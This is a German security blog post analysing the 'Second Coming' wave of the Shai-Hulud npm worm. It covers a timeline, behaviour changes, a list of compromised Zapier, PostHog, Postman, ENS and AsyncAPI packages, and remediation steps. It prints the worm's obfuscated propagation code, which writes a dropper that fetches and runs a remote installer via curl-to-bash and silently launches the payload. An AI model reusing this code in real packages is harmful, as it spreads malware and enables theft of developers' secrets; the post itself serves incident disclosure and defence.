Aikido

Shai Hulud startet zweiten Supply-Chain-Angriff: Zapier, ENS, AsyncAPI, PostHog, Postman kompromittiert

Verfasst von
Charlie Eriksen

Es ist wieder Montagmorgen, ich sitze am Computer. Und ich sehe einen Stapel Warnmeldungen aus der letzten Stunde von Paketen, die Anzeichen von Malware in unserer Triage-Warteschlange zeigen. Noch bevor ich meine erste Tasse Kaffee ausgetrunken habe, sehe ich Shai-Hulud-Indikatoren. Verflixt, das ist doch sicher ein Fehlalarm? Nein, willkommen am Montag, Shai Hulud hat wieder zugeschlagen. Machen Sie sich bereit.

Zeitachse der Shai-Hulud-Kampagne

Der Zeitpunkt ist bemerkenswert, angesichts der jüngsten Ankündigung von npm, klassische Tokens am 9. Dezember nach der Welle von Supply-Chain-Angriffen zu widerrufen. Da viele Benutzer noch nicht auf Trusted Publishing migriert sind, nutzte der Angreifer den Moment für einen weiteren Schlag vor der npm-Frist.

  • 27. August – Wir veröffentlichen unseren Bericht, der die S1ngularity-Kampagne detailliert beschreibt, die mehrere nx-Pakete auf npm zum Ziel hatte.  
  • 16. September – Der Angreifer schlägt erneut zu und startet die erste Welle der Shai-Hulud-Angriffe.  
  • 18. September – Wir veröffentlichen eine Folgeanalyse, die tiefer in die technischen Eigenheiten der Kampagne und das frühe Payload-Verhalten eintaucht.  
  • 24. November – Ein zweiter Schlag ereignet sich, von den Angreifern als „Second Coming“ bezeichnet, zeitlich abgestimmt kurz vor der npm-Frist für den Widerruf alter Tokens.

Was ist Shai-Hulud?: Eine kurze Auffrischung

Shai-Hulud, benannt nach den gigantischen Sandwürmern aus Dune als Teil des Hangs des Angreifers zur Dramatik, ist ein sich selbst replizierender npm-Wurm, der entwickelt wurde, um sich schnell über kompromittierte Entwickelnde-Umgebungen zu verbreiten. Sobald er ein System infiziert, sucht er mit TruffleHog nach offengelegten Secrets wie API-Schlüsseln und Tokens und veröffentlicht alles Gefundene in einem öffentlichen GitHub-Repository. Anschließend versucht er, neue Kopien seiner selbst auf npm zu pushen, um sich im gesamten Ökosystem zu verbreiten, während er gleichzeitig Daten an den Angreifer exfiltriert. Dem dramatischen Thema treu bleibend, bezeichnet der Angreifer diese jüngste Welle als „Second Coming“.

Unterschiede zum letzten Mal

Dieses Mal gibt es einige erhebliche Unterschiede beim Angriff:

  • Es installiert bun mit der Datei setup_bun.js und nutzt diese dann zur Ausführung bun_environment.js  welcher der eigentliche bösartige Code ist.
  • Es erstellt ein zufällig benanntes Repository mit gestohlenen Daten, anstatt einen fest codierten Namen zu verwenden.
  • Es wird bis zu 100 npm-Pakete infizieren, verglichen mit 20 beim letzten Mal.
  • Kann es sich nicht bei GitHub oder NPM authentifizieren, werden alle Dateien im Home-Verzeichnis des Benutzers gelöscht.

Leaking Secrets

Diesmal veröffentlicht die Malware auch Secrets auf GitHub, mit einem zufälligen Namen und der Repository-Beschreibung:

"Sha1-Hulud: The Second Coming."

Derzeit sind 26.300 Repositories exponiert:

Wiederholte Fehler

Bei der Analyse all dieser Pakete haben wir eine Reihe kompromittierter Pakete festgestellt, die anscheinend aus der Community-Verbreitung stammen und den initialen Staging-Code in setup_bun.js, aber NICHT bun_environment.js , der der Shai Hulud-Wurm selbst ist. Hier ist der Code, der den Wurm in andere Pakete verbreitet:

  async ["bundleAssets"](_0x349b3d) {
    let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
    await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n  try {\n    const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n    execSync(command, { stdio: 'ignore' });\n    return true;\n  } catch {\n    return false;\n  }\n}\n\nfunction reloadPath() {\n  // Reload PATH environment variable\n  if (process.platform === 'win32') {\n    try {\n      // On Windows, get updated PATH from registry\n      const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n        encoding: 'utf8'\n      });\n      process.env.PATH = result.trim();\n    } catch {\n    }\n  } else {\n    try {\n      // On Unix systems, source common shell profile files\n      const homeDir = os.homedir();\n      const profileFiles = [\n        path.join(homeDir, '.bashrc'),\n        path.join(homeDir, '.bash_profile'),\n        path.join(homeDir, '.profile'),\n        path.join(homeDir, '.zshrc')\n      ];\n\n      // Try to source profile files to get updated PATH\n      for (const profileFile of profileFiles) {\n        if (fs.existsSync(profileFile)) {\n          try {\n            const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n              encoding: 'utf8',\n              stdio: ['pipe', 'pipe', 'ignore']\n            });\n            if (result && result.trim()) {\n              process.env.PATH = result.trim();\n              break;\n            }\n          } catch {\n            // Continue to next profile file\n          }\n        }\n      }\n\n      // Also check if ~/.bun/bin exists and add it to PATH if not already there\n      const bunBinDir = path.join(homeDir, '.bun', 'bin');\n      if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n        process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n      }\n    } catch {}\n  }\n}\n\nasync function downloadAndSetupBun() {\n  try {\n    let command;\n    if (process.platform === 'win32') {\n      // Windows: Use PowerShell script\n      command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n    } else {\n      // Linux/macOS: Use curl + bash script\n      command = 'curl -fsSL https://bun.sh/install | bash';\n    }\n\n    execSync(command, {\n      stdio: 'ignore',\n      env: { ...process.env }\n    });\n\n    // Reload PATH to pick up newly installed bun\n    reloadPath();\n\n    // Find bun executable after installation\n    const bunPath = findBunExecutable();\n    if (!bunPath) {\n      throw new Error('Bun installation completed but executable not found');\n    }\n\n    return bunPath;\n  } catch  {\n    process.exit(0);\n  }\n}\n\nfunction findBunExecutable() {\n  // Common locations where bun might be installed\n  const possiblePaths = [];\n\n  if (process.platform === 'win32') {\n    // Windows locations\n    const userProfile = process.env.USERPROFILE || '';\n    possiblePaths.push(\n      path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n      path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n    );\n  } else {\n    // Unix locations\n    const homeDir = os.homedir();\n    possiblePaths.push(\n      path.join(homeDir, '.bun', 'bin', 'bun'),\n      '/usr/local/bin/bun',\n      '/opt/bun/bin/bun'\n    );\n  }\n\n  // Check if bun is now available on PATH\n  if (isBunOnPath()) {\n    return 'bun';\n  }\n\n  // Check common installation paths\n  for (const bunPath of possiblePaths) {\n    if (fs.existsSync(bunPath)) {\n      return bunPath;\n    }\n  }\n\n  return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n  const child = spawn(execPath, args, {\n    stdio: 'ignore',\n    cwd: opts.cwd || process.cwd(),\n    env: Object.assign({}, process.env, opts.env || {})\n  });\n\n  child.on('error', (err) => {\n    process.exit(0);\n  });\n\n  child.on('exit', (code, signal) => {\n    if (signal) {\n      process.exit(0);\n    } else {\n      process.exit(code === null ? 1 : code);\n    }\n  });\n}\n\n// Main execution\nasync function main() {\n  let bunExecutable;\n\n  if (isBunOnPath()) {\n    // Use bun from PATH\n    bunExecutable = 'bun';\n  } else {\n    // Check if we have a locally downloaded bun\n    const localBunDir = path.join(__dirname, 'bun-dist');\n    const possiblePaths = [\n      path.join(localBunDir, 'bun', 'bun'),\n      path.join(localBunDir, 'bun', 'bun.exe'),\n      path.join(localBunDir, 'bun.exe'),\n      path.join(localBunDir, 'bun')\n    ];\n\n    const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n    if (existingBun) {\n      bunExecutable = existingBun;\n    } else {\n      // Download and setup bun\n      bunExecutable = await downloadAndSetupBun();\n    }\n  }\n\n  const environmentScript = path.join(__dirname, 'bun_environment.js');\n  if (fs.existsSync(environmentScript)) {\n    runExecutable(bunExecutable, [environmentScript]);\n  } else {\n    process.exit(0);\n  }\n}\n\nmain().catch((error) => {\n  process.exit(0);\n});\n");
    let _0x3ed61a = process.argv[0x1];
    if (_0x3ed61a && (await My1(_0x3ed61a))) {
      let _0x1028dd = await mL0(_0x3ed61a);
      if (_0x1028dd !== null) {
        let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
        await iL0(_0x4cc8b3, _0x1028dd);
      }
    }
  }

Wir sehen, dass der bun_environment.js manchmal nicht gebündelt wird, abhängig von verschiedenen Faktoren. Es scheint, dass die Angreifer erneut Fehler gemacht haben. Dies scheint die Auswirkungen des Angriffs derzeit begrenzt zu haben.

Kompromittierte GitHub-Repositories

Das AsyncAPI-Team stellte fest, dass ein Branch ihres CLI-Projekts existierte, der kurz vor dem Pushen der bösartigen Pakete erstellt wurde und eine Version der Shai Hulud-Malware bereitstellte.

https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

Dies deutet darauf hin, dass die Angreifer eine ähnliche Technik angewendet haben könnten, wie sie den ursprünglichen Nx-Kompromiss durchführten.

Unternehmen bestätigen Vorfall

Angesichts der Art des Vorfalls waren wir sehr erfreut zu sehen, dass Unternehmen schnell bestätigten, was geschehen war, in Beiträgen dieser Unternehmen:

Patient Null

Wir haben die ersten Pakete ab dem 24.11.2025 um 3:16:26 Uhr GMT+0 entdeckt, darunter die Pakete go-template und 36 Pakete von AsyncAPI. Viele weitere Pakete wurden schnell kompromittiert. Anschließend begannen sie, PostHog-Pakete am 24.11.2025 um 4:11:55 Uhr GMT+0 und Postman-Pakete am 24.11.2025 um 5:09:25 Uhr GMT+0 zu kompromittieren.

Welche Pakete sind betroffen?

Wir haben die folgenden Pakete entdeckt, die mit einer neuen Version von Shai Hulud kompromittiert wurden. Alle diese 492 Pakete verzeichnen zusammen 132 Millionen monatliche Downloads:

CSV herunterladen
CSV herunterladen
  • @asyncapi/diff
  • @asyncapi/nodejs-ws-template
  • go-template
  • @asyncapi/avro-schema-parser
  • @asyncapi/converter
  • @asyncapi/dotnet-rabbitmq-template
  • @asyncapi/nunjucks-filters
  • @asyncapi/protobuf-schema-parser
  • @asyncapi/problem
  • @asyncapi/optimizer
  • @asyncapi/python-paho-template
  • @asyncapi/multi-parser
  • @asyncapi/bundler
  • @asyncapi/php-template
  • asyncapi-preview
  • @asyncapi/java-spring-cloud-stream-template
  • @asyncapi/modelina-cli
  • @asyncapi/generator-helpers
  • @asyncapi/java-template
  • @asyncapi/react-component
  • @asyncapi/generator
  • @asyncapi/server-api
  • @asyncapi/java-spring-template
  • @asyncapi/cli
  • @asyncapi/web-component
  • @asyncapi/specs
  • @asyncapi/modelina
  • @asyncapi/parser
  • @asyncapi/html-template
  • @asyncapi/go-watermill-template
  • @asyncapi/openapi-schema-parser
  • @asyncapi/edavisualiser
  • @asyncapi/generator-components
  • dotnet-template
  • @asyncapi/keeper
  • github-action-for-generator
  • @asyncapi/nodejs-template
  • @asyncapi/markdown-template
  • @quick-start-soft/quick-git-clean-markdown
  • @quick-start-soft/quick-markdown-image
  • @quick-start-soft/quick-markdown-translator
  • @quick-start-soft/quick-markdown
  • test23112222-api
  • @asyncapi/generator-react-sdk
  • @quick-start-soft/quick-markdown-compose
  • iron-shield-miniapp
  • manual-billing-system-miniapp-api
  • shinhan-limit-scrap
  • @strapbuild/react-native-perspective-image-cropper
  • react-native-use-modal
  • @quick-start-soft/quick-task-refine
  • @strapbuild/react-native-date-time-picker
  • @strapbuild/react-native-perspective-image-cropper-2
  • create-glee-app
  • @strapbuild/react-native-perspective-image-cropper-poojan31
  • @asyncapi/studio
  • @quick-start-soft/quick-markdown-print
  • @quick-start-soft/quick-remove-image-background
  • eslint-config-zeallat-base
  • korea-administrative-area-geo-json-util
  • @quick-start-soft/quick-document-translator
  • axios-builder
  • posthog-node
  • @posthog/first-time-event-tracker
  • @posthog/event-sequence-timer-plugin
  • @posthog/gitub-star-sync-plugin
  • posthog-plugin-hello-world
  • @posthog/bitbucket-release-tracker
  • @posthog/maxmind-plugin
  • @posthog/postgres-plugin
  • @posthog/twilio-plugin
  • @posthog/cli
  • @posthog/clickhouse
  • @posthog/snowflake-export-plugin
  • posthog-react-native-session-replay
  • @posthog/drop-events-on-property-plugin
  • @posthog/github-release-tracking-plugin
  • @posthog/icons
  • @posthog/geoip-plugin
  • @posthog/intercom-plugin
  • @posthog/plugin-unduplicates
  • @posthog/react-rrweb-player
  • drop-events-on-property-plugin
  • @posthog/ingestion-alert-plugin
  • @posthog/kinesis-plugin
  • @posthog/laudspeaker-plugin
  • @posthog/nextjs
  • @posthog/nextjs-config
  • @posthog/automatic-cohorts-plugin
  • @posthog/migrator3000-plugin
  • @posthog/pagerduty-plugin
  • @posthog/plugin-contrib
  • @posthog/sendgrid-plugin
  • @posthog/customerio-plugin
  • @posthog/rrweb-utils
  • @posthog/taxonomy-plugin
  • @posthog/zendesk-plugin
  • @posthog/netdata-event-processing
  • @posthog/url-normalizer-plugin
  • posthog-docusaurus
  • @posthog/currency-normalization-plugin
  • @posthog/filter-out-plugin
  • @posthog/heartbeat-plugin
  • @actbase/react-native-fast-image
  • @posthog/ai
  • @posthog/databricks-plugin
  • @actbase/react-native-kakao-channel
  • calc-loan-interest
  • @actbase/react-absolute
  • @actbase/react-daum-postcode
  • @actbase/react-native-simple-video
  • @posthog/core
  • @posthog/lemon-ui
  • @seung-ju/next
  • @seung-ju/react-hooks
  • posthog-react-native
  • @actbase/css-to-react-native-transform
  • @actbase/react-native-actionsheet
  • @actbase/react-native-tiktok
  • @seung-ju/react-native-action-sheet
  • @actbase/react-kakaosdk
  • @posthog/agent
  • @posthog/variance-plugin
  • discord-bot-server
  • @posthog/rrweb-replay
  • @posthog/rrweb-snapshot
  • @actbase/node-server
  • @actbase/react-native-devtools
  • @posthog/plugin-server
  • @posthog/rrweb-record
  • @actbase/native
  • @actbase/react-native-less-transformer
  • @posthog/rrweb
  • posthog-js
  • @posthog/web-dev-server
  • @posthog/piscina
  • @posthog/nuxt
  • @posthog/rrweb-player
  • @posthog/wizard
  • @actbase/react-native-kakao-navi
  • @posthog/siphash
  • @posthog/twitter-followers-plugin
  • @actbase/react-native-naver-login
  • @seung-ju/openapi-generator
  • @posthog/rrdom
  • @posthog/hedgehog-mode
  • react-native-worklet-functions
  • expo-audio-session
  • poper-react-sdk
  • @postman/secret-scanner-wasm
  • @postman/csv-parse
  • @postman/node-keytar
  • @postman/tunnel-agent
  • @postman/pm-bin-macos-arm64
  • @postman/pm-bin-linux-x64
  • @postman/postman-collection-fork
  • @postman/postman-mcp-server
  • @postman/wdio-junit-reporter
  • @postman/aether-icons
  • @postman/postman-mcp-cli
  • @postman/pretty-ms
  • @postman/pm-bin-windows-x64
  • @postman/wdio-allure-reporter
  • @postman/final-node-keytar
  • @postman/pm-bin-macos-x64
  • @aryanhussain/my-angular-lib
  • capacitor-plugin-apptrackingios
  • capacitor-plugin-purchase
  • capacitor-purchase-history
  • capacitor-voice-recorder-wav
  • scgs-capacitor-subscribe
  • @postman/mcp-ui-client
  • capacitor-plugin-scgssigninwithgoogle
  • @kvytech/medusa-plugin-announcement
  • @kvytech/medusa-plugin-product-reviews
  • medusa-plugin-zalopay
  • scgsffcreator
  • @kvytech/habbit-e2e-test
  • medusa-plugin-logs
  • medusa-plugin-product-reviews-kvy
  • @kvytech/medusa-plugin-promotion
  • medusa-plugin-momo
  • @kvytech/components
  • medusa-plugin-announcement
  • @kvytech/cli
  • @kvytech/medusa-plugin-newsletter
  • @kvytech/medusa-plugin-management
  • @kvytech/web
  • create-hardhat3-app
  • test-hardhat-app
  • evm-checkcode-cli
  • gate-evm-tools-test
  • gate-evm-check-code2
  • web-types-htmx
  • test-foundry-app
  • web-types-lit
  • bun-plugin-httpfile
  • open2internet
  • vite-plugin-httpfile
  • @ensdomains/vite-plugin-i18next-loader
  • @ensdomains/blacklist
  • @ensdomains/durin
  • @ensdomains/renewal
  • @ensdomains/cypress-metamask
  • bytecode-checker-cli
  • @ensdomains/dnsprovejs
  • @ensdomains/ccip-read-dns-gateway
  • @ensdomains/ccip-read-cf-worker
  • @ensdomains/dnssec-oracle-anchors
  • @ensdomains/reverse-records
  • @ensdomains/ens-test-env
  • @ensdomains/hackathon-registrar
  • @ensdomains/renewal-widget
  • crypto-addr-codec
  • @ensdomains/solsha1
  • @ensdomains/server-analytics
  • @ensdomains/ui
  • @ensdomains/test-utils
  • @ensdomains/mock
  • @ensdomains/ccip-read-router
  • @zapier/babel-preset-zapier
  • @ensdomains/hardhat-chai-matchers-viem
  • @ensdomains/ccip-read-worker-viem
  • @zapier/browserslist-config-zapier
  • @zapier/zapier-sdk
  • @zapier/stubtree
  • zapier-async-storage
  • @zapier/ai-actions
  • @zapier/mcp-integration
  • @zapier/spectral-api-ruleset
  • @ensdomains/address-encoder
  • redux-router-kit
  • @ensdomains/eth-ens-namehash
  • zapier-scripts
  • @ensdomains/buffer
  • @ensdomains/thorin
  • zapier-platform-legacy-scripting-runner
  • zapier-platform-schema
  • @ensdomains/dnssecoraclejs
  • zapier-platform-core
  • @ensdomains/op-resolver-contracts
  • @ensdomains/ens-archived-contracts
  • @ensdomains/ensjs
  • @ensdomains/subdomain-registrar
  • @ensdomains/unruggable-gateways
  • @ensdomains/web3modal
  • zapier-platform-cli
  • @ensdomains/ens-contracts
  • @ensdomains/react-ens-address
  • @ensdomains/curvearithmetics
  • @zapier/secret-scrubber
  • @ensdomains/hardhat-toolbox-viem-extended
  • ethereum-ens
  • @ensdomains/durin-middleware
  • @ensdomains/unicode-confusables
  • @ensdomains/ensjs-react
  • @ensdomains/content-hash
  • @ensdomains/ens-avatar
  • @zapier/ai-actions-react
  • @zapier/eslint-plugin-zapier
  • @ensdomains/offchain-resolver-contracts
  • @ensdomains/ens-validation
  • @ensdomains/name-wrapper
  • @hapheus/n8n-nodes-pgp
  • @markvivanco/app-version-checker
  • claude-token-updater
  • n8n-nodes-tmdb
  • devstart-cli
  • skills-use
  • @mcp-use/inspector
  • zuper-sdk
  • zuper-stream
  • @mcp-use/mcp-use
  • create-mcp-use-app
  • mcp-use
  • @mcp-use/cli
  • zuper-cli
  • @caretive/caret-cli
  • cpu-instructions
  • lite-serper-mcp-server
  • @louisle2/core
  • jan-browser
  • exact-ticker
  • react-library-setup
  • orbit-soap
  • @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
  • token.js-fork
  • react-component-taggers
  • @louisle2/cortex-js
  • orbit-nebula-editor
  • @trigo/pathfinder-ui-css
  • @trigo/jsdt
  • @trigo/atrix-redis
  • @trigo/eslint-config-trigo
  • @trigo/atrix-orientdb
  • @trigo/node-soap
  • eslint-config-trigo
  • @trigo/bool-expressions
  • @trigo/atrix-pubsub
  • @trigo/atrix-elasticsearch
  • @trigo/hapi-auth-signedlink
  • @trigo/keycloak-api
  • @trigo/atrix-soap
  • @trigo/atrix-swagger
  • @trigo/atrix-acl
  • atrix
  • redux-forge
  • @trigo/atrix-mongoose
  • @trigo/atrix
  • orbit-boxicons
  • atrix-mongoose
  • bool-expressions
  • react-element-prompt-inspector
  • trigo-react-app
  • @trigo/trigo-hapijs
  • @trigo/fsm
  • command-irail
  • @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
  • @trigo/atrix-postgres
  • @orbitgtbelgium/time-slider
  • @orbitgtbelgium/orbit-components
  • orbit-nebula-draw-tools
  • typeorm-orbit
  • @mparpaillon/connector-parse
  • @mparpaillon/imagesloaded
  • @commute/market-data
  • gitsafe
  • @osmanekrem/error-handler
  • @commute/bloom
  • okta-react-router-6
  • designstudiouiux
  • itobuz-angular
  • @ifelsedeveloper/protocol-contracts-svm-idl
  • ito-button
  • @dev-blinq/cucumber_client
  • blinqio-executions-cli
  • itobuz-angular-auth
  • @dev-blinq/ai-qa-logic
  • axios-timed
  • react-native-email
  • tenacious-fetch
  • kill-port
  • jacob-zuma
  • luno-api
  • @lessondesk/eslint-config
  • sort-by-distance
  • just-toasty
  • image-to-uri
  • react-native-phone-call
  • formik-error-focus
  • jquery-bindings
  • @lessondesk/babel-preset
  • barebones-css
  • coinmarketcap-api
  • license-o-matic
  • @varsityvibe/api-client
  • pico-uid
  • hyperterm-hipster
  • set-nested-prop
  • bytes-to-x
  • enforce-branch-name
  • fittxt
  • get-them-args
  • react-native-retriable-fetch
  • svelte-autocomplete-select
  • feature-flip
  • lint-staged-imagemin
  • react-native-view-finder
  • formik-store
  • shell-exec
  • react-native-log-level
  • @everreal/web-analytics
  • react-native-jam-icons
  • @thedelta/eslint-config
  • parcel-plugin-asset-copier
  • react-native-websocket
  • ra-data-firebase
  • react-jam-icons
  • react-native-fetch
  • @ifings/design-system
  • gatsby-plugin-cname
  • @alexcolls/nuxt-ux
  • react-native-datepicker-modal
  • undefsafe-typed
  • chrome-extension-downloads
  • @alexcolls/nuxt-socket.io
  • fuzzy-finder
  • sa-company-registration-number-regex
  • flapstacks
  • react-keycloak-context
  • react-qr-image
  • @tiaanduplessis/react-progressbar
  • @lessondesk/schoolbus
  • @tiaanduplessis/json
  • react-native-get-pixel-dimensions
  • nanoreset
  • next-circular-dependency
  • url-encode-decode
  • axios-cancelable
  • compare-obj
  • wenk
  • haufe-axera-api-client
  • obj-to-css
  • sa-id-gen
  • @lessondesk/api-client
  • @varsityvibe/validation-schemas
  • flatten-unflatten
  • stoor
  • @clausehq/flows-step-jsontoxml
  • @accordproject/concerto-analysis
  • hope-mapboxdraw
  • count-it-down
  • hopedraw
  • @accordproject/markdown-it-cicero
  • piclite
  • @fishingbooker/react-swiper
  • @fishingbooker/browser-sync-plugin
  • generator-meteor-stock
  • @fishingbooker/react-loader
  • benmostyn-frame-print
  • @fishingbooker/react-pagination
  • @voiceflow/anthropic
  • @voiceflow/voice-types
  • @voiceflow/default-prompt-wrappers
  • @voiceflow/npm-package-json-lint-config
  • @voiceflow/nestjs-mongodb
  • @voiceflow/tsconfig
  • @voiceflow/test-common
  • @voiceflow/husky-config
  • @voiceflow/commitlint-config
  • @voiceflow/git-branch-check
  • normal-store
  • @voiceflow/prettier-config
  • @voiceflow/stylelint-config
  • vf-oss-template
  • @voiceflow/storybook-config
  • @voiceflow/verror
  • @voiceflow/alexa-types
  • @voiceflow/nestjs-timeout
  • @voiceflow/serverless-plugin-typescript
  • @voiceflow/voiceflow-types
  • shelf-jwt-sessions
  • @hover-design/react
  • @voiceflow/base-types
  • @voiceflow/eslint-config
  • @voiceflow/fetch
  • @voiceflow/common
  • @voiceflow/eslint-plugin
  • @voiceflow/exception
  • @voiceflow/dtos-interact
  • @voiceflow/google-types
  • @voiceflow/nestjs-common
  • @voiceflow/pino
  • @voiceflow/sdk-runtime
  • @voiceflow/nestjs-rate-limit
  • @voiceflow/openai
  • dialogflow-es
  • @voiceflow/widget
  • arc-cli-fc
  • composite-reducer
  • bidirectional-adapter
  • @antstackio/express-graphql-proxy
  • @antstackio/json-to-graphql
  • @voiceflow/body-parser
  • @voiceflow/logger
  • @antstackio/eslint-config-antstack
  • @voiceflow/vitest-config
  • @faq-component/core
  • @pruthvi21/use-debounce
  • @voiceflow/api-sdk
  • @hover-design/core
  • @faq-component/react
  • @voiceflow/semantic-release-config
  • @voiceflow/vite-config
  • @voiceflow/circleci-config-sdk-orb-import
  • @voiceflow/backend-utils
  • @voiceflow/slate-serializer
  • @voiceflow/google-dfes-types
  • n8n-nodes-viral-app
  • @accordproject/markdown-docx
  • @clausehq/flows-step-sendgridemail
  • @lpdjs/firestore-repo-service
  • @trefox/sleekshop-js
  • invo
  • jsonsurge
  • mon-package-react-typescript
  • rediff
  • solomon-api-stories
  • solomon-v3-stories
  • solomon-v3-ui-wrapper
  • tcsp-draw-test
  • uplandui

Potenzielle Auswirkungen von Shai-Hulud: Second Coming

Bedrohungsakteure haben bösartigen Code in Hunderte von NPM-Paketen eingeschleust – darunter wichtige von Zapier, ENS, AsyncAPI, PostHog, Browserbase und Postman. Wenn eine Entwickelnde eines dieser schadhaften Pakete installiert, läuft die Malware leise während der Installation ab, noch bevor etwas vollständig installiert ist. Dies verschafft ihr Zugriff auf die Maschine der Entwickelnden, Build-Systeme oder die Cloud-Umgebung. Anschließend verwendet sie ein automatisiertes Tool (TruffleHog), um nach sensiblen Informationen wie Passwörtern, API-Schlüsseln, Cloud-Tokens sowie GitHub- oder NPM-Zugangsdaten zu suchen. Alles, was sie findet, wird in ein öffentliches GitHub-Repository hochgeladen, das als “Sha1-Hulud: The Second Coming” bezeichnet wird. Wenn diese gestohlenen Secrets Zugriff auf Code-Repositories oder Paket-Registries beinhalten, können Angreifer diese nutzen, um in weitere Konten einzudringen und mehr bösartige Pakete zu veröffentlichen, wodurch sich der Angriff weiter ausbreitet. Da vertrauenswürdige Ökosysteme betroffen waren und Millionen von Downloads betroffen sind, sollte jedes Team, das NPM verwendet, sofort prüfen, ob es betroffen war, und alle möglicherweise geleakten Zugangsdaten rotieren.


Welche Maßnahmen sollten Sicherheitsteams ergreifen?

  • Alle Zapier-/ENS-bezogenen npm-Abhängigkeiten und -Versionen überprüfen.
  • Alle GitHub-, npm-, Cloud- und CI/CD-Secrets, die bei Installationen verwendet wurden, rotieren.
  • GitHub nach ungewöhnlichen Repositories mit der Beschreibung “Sha1-Hulud: The Second Coming” überprüfen.
  • npm deaktivieren postinstall Skripte in CI, wo möglich.
  • Paketversionen pinnen und MFA für GitHub- und npm-Konten erzwingen.
  • Tools wie Safe-Chain verwenden, um bösartige Pakete auf NPM zu blockieren.

Teilen:

https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains

Abonnieren Sie Bedrohungs-News.

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.